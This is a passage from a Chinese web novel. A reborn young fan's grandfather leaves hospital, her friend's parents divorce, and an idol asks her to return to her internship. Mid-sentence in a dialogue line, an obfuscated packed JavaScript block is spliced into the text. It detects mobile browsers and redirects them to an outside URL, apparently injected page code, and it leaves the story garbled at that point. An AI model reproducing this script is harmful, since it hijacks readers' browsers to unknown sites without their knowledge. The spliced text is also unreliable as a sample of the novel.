“你的事,也很重要。”纪屿轻轻地说,“爷爷这边,有什么事,随时给我打电话,好吗?” 他说完,顿了顿,又补充:“真的,随时给我打。” 林定又点点头,只觉得眼眶有点酸。 然后纪屿再次转身,一步一步慢慢朝走廊尽头走去。 林定看着他的背影,看着他因为伤腿而十分僵硬的步子,看着他走到电梯口,然后再一次回过头。 隔着整一条走廊,他又看了她一眼。 那一眼太远,远到她看不清楚他的表情。 电梯门打开,他走了进去。 电梯门关上了。 林定觉得脑子里乱乱的,可一些东西却越来越清晰了。 回忆前世,在每一个加班到崩溃的夜晚,是耳机里,他的歌,把她从深渊中拽回。 想起重生后,在唱片店第一次见到他时,她胸腔里那种失而复得的心跳,是多么强烈。 想起在川菜馆,他那二话不说就替她解围的手臂力量。 而此刻,他为了她爷爷,拖着伤腿,跨越了这么多个城市。 他明明是她拼尽全力想要拯救的人,可事实上,他才是那个一直在拯救她的人,不论前世今生。 58.58 回到B市 爷爷的检查没什么问题,两天后,就可以出院了。 林定打了个哈欠,站在病房的窗口,朝楼下看去。医院后花园里有许多穿着病号服的老婆婆和老爷爷们,正晒着太阳。 今日的阳光非常好,透过玻璃,落在她身上,炎热似火,与室内的空调形成极大温差。 “定呀。” 身后传来了爷爷的声音。 林定转回身子,看到爷爷已经换好了自己的衣服,正坐在病床旁边,乐呵呵地看着她。 她走过去,坐在病床旁的椅子上,握住了爷爷的手。 爷爷的手很暖。 爷爷另一只手轻轻地拍了拍林定的手背。 “这几天辛苦你了,让你操心了。” “我哪里辛苦,”林定摇头,“你没事就好,你的健康对我来说是最重要的。” 爷爷笑了笑,忽然想起了纪屿。他缓缓道:“那个小屿,真的是个好孩子。” 这是爷爷这几天日日都叨念的话。 “之前只见过一回,他回国后还特意上门和我这个老头子问好,陪我下棋,陪我说话。”爷爷的目光望向窗外的烈日,觉着刺眼,又看向别处,“我问他家里的事,他说父母不管他,自小也没什么别的亲人。我看着是心疼得紧,这么年轻的小伙子,一个人出来闯。” 林定抿了抿唇,没有说话。 纪屿的父母,林定在前世听过不少传闻。当时有瓜主说,纪屿的父母只把纪屿当成一颗摇钱树,从不关心他的其他事情,所以纪屿也从不回家过年。可这都是没有证实的谣传,粉丝们也从不直白了当地问正主的私事。 “他对我说,爷爷,您做的鱼真好吃,是我想象中,家的味道。”爷爷的声音有些伤感,“我就跟他说,想吃就常来吧,爷爷给你做。” 林定感觉有些难受。 “他是个重感情的孩子。”爷爷收回目光,望向林定,“你对他好,他就加倍对你好。你看那个电梯,他默默搞好了一切,要不是隔壁邹爷爷给我说,我都不知道他做了这个事情。这样的人,很难得遇见的,值得我们真心对待。” “我都不知道他去找你了,你们都不和我说。”林定咕哝道。 爷爷挑眉:“你俩不是闹别扭了么?他还不让我跟你说呢!” “我有……” “爷爷老了,看人很准啦。”爷爷再次拍拍她的手,“小屿呢,话说得不多,但是心底很善良,对人真诚。我自个琢磨着,他对咱家好,大概不只是因为我这个老头子,主要是因为你。你心里要有数。人家把你当好朋友,你就不要老小气,朋友之间,吵架都要很快和好才对嘛。” 林定垂下了眼,不知如何回答。 爷爷看了看手表:“好了,不说了,待会又嫌我啰嗦,我们快回家吧。” 当天下午,爸妈和奶奶都陆续回来了。林定的妈妈一进门就抱着林定,一直说对不起,出差赶不回来,会议太忙也没能及时接到电话。老爸在阳台上闷声抽烟,奶奶一回到家,就冲出去把他臭骂了一顿。 奶奶抱抱林定后,一边夸她懂事,一边感慨孙女长大了,一边翻找着行李箱,把她从俄罗斯带回来的手信掏出来塞林定怀里。 奶奶给大功臣张阿姨放假了,还给她加了薪水。晚上,一家人出门去吃了顿很贵的饭。爷爷坐在位置上乐呵着吃饭,精神比前两天好太多了。饭桌上久违的热闹,妈妈说着这次出差的所见所闻,奶奶展示着自己在俄罗斯拍的美照,老爸偶尔想插嘴时,总是被奶奶和妈妈一同怼了回去。 林定看着这一切,心里的情绪越发复杂。 前世这个时候,她在干什么? 那时候的她,不知道爷爷什么时候开始腿脚不好了,也不知道奶奶什么时候学会了用手机摄影,更不知道爸妈什么时候开始生出白发。 * 林定收到纪屿的微信。 “爷爷出院了?” 她回:“嗯,今天下午刚出院呢,他现在状态挺好的。” 纪屿很快回复她:“那就好。” 林定盯着手机屏幕看了很久,不知道该回什么。 “定定,你什么时候回B市?” 纪屿又发来了一条信息。 林定:“明天,我买了明天下午的机票。” 纪屿:“好。” 对话框又安静了下去。 她翻了翻聊天记录,这几天他们每天都有三四句对话: 都是纪屿问爷爷的情况、她回答、然后结束。 很少,就这么几句而已。 但林定知道,这已经比前段时间好太多了。 * 第二天下午,林定拖着行李箱下了楼。 小区门口停着一辆白色小车,她的挚友何纯靠在车门上,正低头玩手机。听到行李箱轮子的声音,他就抬起头来,对林定展开一个灿烂的笑。 “林同学,你这暑假怎么黑成煤球了?” 林定咬牙道:“何师傅,你暑假胖了不止十斤吧!” 何纯气呼呼地瞪了她一眼,然后接过她的行李箱放进后备箱。“喂,我给你当免费司机诶,你还损我!” “你车技行不行的?不如还是我来开?” “别搞,你的车技我还更不信呢,晓春说你这是光速拿证,咦惹,都不知道学的精不精!我可是偷摸开我妈的车出来的,给你蹭坏了还得了……” 车子驶上路。 “爷爷还好吗?晓春和我说你请假赶回来的,你怎么不叫我,我暑假反正没什么事,你爷爷奶奶也见过我和晓春。”何纯一边开着车,随口问道。 “他已经没事了,我当时太着急了,只想着赶紧回来,其他的都想不到,唉。” “没事就好。那你最近咋样,实习忙么?” “还行,挺忙的。”林定靠在副驾驶上,有些疲惫地说,“你呢?” 何纯沉默了一下,然后说道:“我爸妈离婚了。” 林定猛地坐直了起来,转头看向他。 何纯很专注地看着前面的路,表情很平静:“上周刚办完手续。” “这么突然……”林定愣道。 何纯笑了一下,语气庆幸:“你还记得不,之前你给过我一张报纸,让我回去给爸妈普及防诈骗知识?我妈那人吧,看了那报纸之后就记在了心里。从那之后,她就特别留意那些诈骗案例,新闻啊什么的都看特别仔细,拆快递都小心得很,看到可疑的信件和那些二维码就多留个心眼。” 他顿了顿,继续说:“结果有一天,她收到一封信,是个账单,可上面写的名字不是她,也不是我爸,竟然是我爸那个,那个……小三。” 林定微微长大了嘴巴。 “我跟你说,我都很难相信,我妈竟然特别淡定,也没声张,连我都没说!她自己开始默默收集证据……”何纯的声音里都是敬佩,“看行程记录、通话时间、转账记录……各种。她只用了两个月,把证据链都补齐了。她还怕影响我高考情绪,等到我考完才告诉我……她找了律师,在我考完的第二周,就直接起诉离婚。” “那你爸他……?” “他理亏啊。管不住自己,背叛家庭。”何纯耸耸肩,“财产分割上,我妈当然是占了优势。房子、车子都归她,我爸净身出户咯。” 林定一时不知道该说什么,感觉信息量有点大。 何纯随即笑着说:“其实这样也挺好的。我爸那个人……与其拖着,不如早点断干净。他可一点都不愧疚,真挺心寒的,他马上就搬去和小三住了,真**气人。我妈现在状态不错,她说,终于不用再装傻过日子了。” 前世,何纯家是在大学的时候出的事。他妈捉奸在床,心态大崩,后面才会鬼使神差地相信了电信诈骗,导致家里背了一身债。何纯从那时起都在打工还债,眼睛里的光也日渐熄灭。 而现在。 也许就是因为她给他的那一张报纸,间接改变了事情的走向。 林定忽然觉得眼眶有些发热。 “兄弟,”她轻声说,“谢谢你。” 何纯莫名其妙地看她一眼,又迅速看回驾驶路上:“谢我啥?谢我给你当司机么?那你下次回来请我吃饭哈。” “谢谢你把我说的话当回事了,也愿意告诉我这些。”林定别过脸,看向窗外的风景,“真好。” 何纯笑笑:“我什么时候都会把你们的话当回事。” 过了一会儿,何纯又道:“对了,你在那个啥娱乐公司,是不是天天看帅哥美女?爽死了吧。” 林定叹了一口气:“爽什么爽,我都快被炒鱿鱼了。” “哈?为啥啊?” 林定表情难言:“说来话长,难受啊。回头再跟你细说。” 何纯点点头,话锋一转,反倒是提起了一个人:“对了诶,你那个纪屿最近好像很火哦,热搜上天天都有他。” 林定骄傲道:“那是,也不看看是谁的偶像。” “我这种不追星的人都知道他了。”何纯称赞,“你眼光很可以了,在人家还查无此人的时候就粉上了。说起来,你也追了挺久了。” 林定没说话。是很久。算上前世的话…… 何纯继续说:“话说,上次在川菜馆见到他,真人是真的爆帅。人也man,那天的事情我会一直记住的。他把我们班那个傻嗨给怼气炸了,真是够解气的!”他回忆,“你现实中见过这么帅又这么好的人,以后大学里谈恋爱可难咯,眼光被抬得这么这么高。” 林定摇摇头:“恋什么恋,不恋爱了,无爱一身轻,单身是精英,你姐姐我是要搞事业的。” 何纯不信地哼哼了两声,调侃道:“可话说回来,你实话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303829|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉我,你有没有想过追他?” “追他?”林定瞪大眼睛,身体都坐直了,“我是什么东西?” “哎哎,话可不能这么说啊。”何纯的手指无意识地敲了敲方向盘,“你人又不差,长得也还行,性格也好,工作又上进。再说了,那天在川菜馆,我看啊,他对你可不一般。” “那是他人好。”林定打断他,“什么不一般,他对粉丝都很好的,我只是他万千粉丝中渺小的那一个——” “粉丝?你还在自称粉丝吗,谁家粉丝和偶像吃饭啊,谁家粉丝和偶像老是聊天的。噢,我听过你和晓春聊八卦新闻,那种超过正常距离的不是叫私生吗,什么跟车啊追行程啊……” “我才不是私生!你和晓春都知道我特别厌恶私生粉,我才不是那种人。”林定反驳道,“而且,我没有老和他聊天,我们聊的很少了。” “害,你就别再给自己打粉丝标签了,这种相处叫朋友,懂不?你也别不好意思,人嘛,对朋友有非分之想是人之常情,承认不丢人的……” “那你对我有非分之想吗?” “神经。别说了,我要吐了。” “滚!” 林定别过脸。 追纪屿? 她连想都不敢想。 他可是她的星星。她也曾说过,星星就该在天上发光发亮,不该被谁摘下来。 可是,她却喜欢上了她的星星。 这该如何是好。 * 飞机落地后,林定打开了手机。 消息弹跳出来,最上面是成子秋发来的信息。 “林定,你爷爷情况怎么样了?” 她正要回复,目光又看到下面的一条消息,来自老刘。 “我已经在找新助理了。你下周就要开学,又要请假,耽误工作。你不用再来了。” 林定盯着那行字,轻轻叹了口气。 是意料之中的。 她退出老刘的对话框,打算先给成子秋回消息。“我爷爷已经出院回家了,谢谢成老师的关心。” 信息刚发出去,手机就响了起来。 成子秋直接打了电话过来。 林定愣了下,忙接起电话:“喂,成老师?” “林定,”成子秋好听的声音从电话那边传来,“你爷爷彻底康复了吗?你打算什么时候回B市?” “他没事了,已经出院了。”林定一边走,一边回复他,“我也回来了,刚落地B市。” “那就好。”成子秋顿了一顿,“你好好休息几天吧,这段时间太累了,辛苦你了。” 林定心里默默地想,这话大概是是辞退前的术语吧。 她犹豫了一瞬,还是决定主动开口:“成老师,经纪人那边已经通知我了,叫不用回去上班了。这段时间真的很谢谢您的照顾,我非常……” “什么?”成子秋打断她,声音里的温和消失不见,“他,说什么?” “他说,他说已经在给你找新的助理了。”林定缓缓道,“我也能理解,我下周就要去学校报道,会有很多事,还要请假军训,上回我也惹他发了这么大的火,他找新的助理也是正常的……” “林定。”成子秋又打断道,这次语气十分陌生,“你先听我说。” 林定停下脚步,站在人头涌涌的行李盘前。 “这几天你不在,”成子秋的声音有些低,林定不得不将手机听筒的音量调高了一些,“我在拍摄的时候总是出错。他们递来的东西不是我要的,流程没人提我,连水都没人记得给我准备温的。” 林定有些发蒙,不知道成子秋这么说是什么意思。 “我知道这样说有不合适,”成子秋停顿了一会,才缓缓说,“但我……不太习惯没有你在。” 林定张了张嘴,心里快速想着该怎么回复。 “我需要你回来。”成子秋的声音又恢复了往日的温度,“我很需要你。” 需要你…… 她想起自己之前对成子秋的种种偏见,让她忽然有些心虚。 “可是,”她纠结了一下,艰难开口道,“老刘那边已经和我说……” “老刘那边我会处理。”成子秋声音淡淡,“交给我,你不用在意他说的话。” 林定有些语塞,第一次发现成子秋的话竟这么难接。 “下周你报道后,是不是要军训?”成子秋问。 “嗯,对,学校要军训两个礼拜。” “那等你军训完。”成子秋笑了一下,林定听见了他的笑声,“你学校就在B市,过来实习也很方便。综艺刚好到决赛阶段,那时候你回来,好不好?” 林定握着手机,有些难以置信,“我……可以吗?” “当然。”成子秋笑说,“那我提前预祝你开学愉快。” 电话挂断。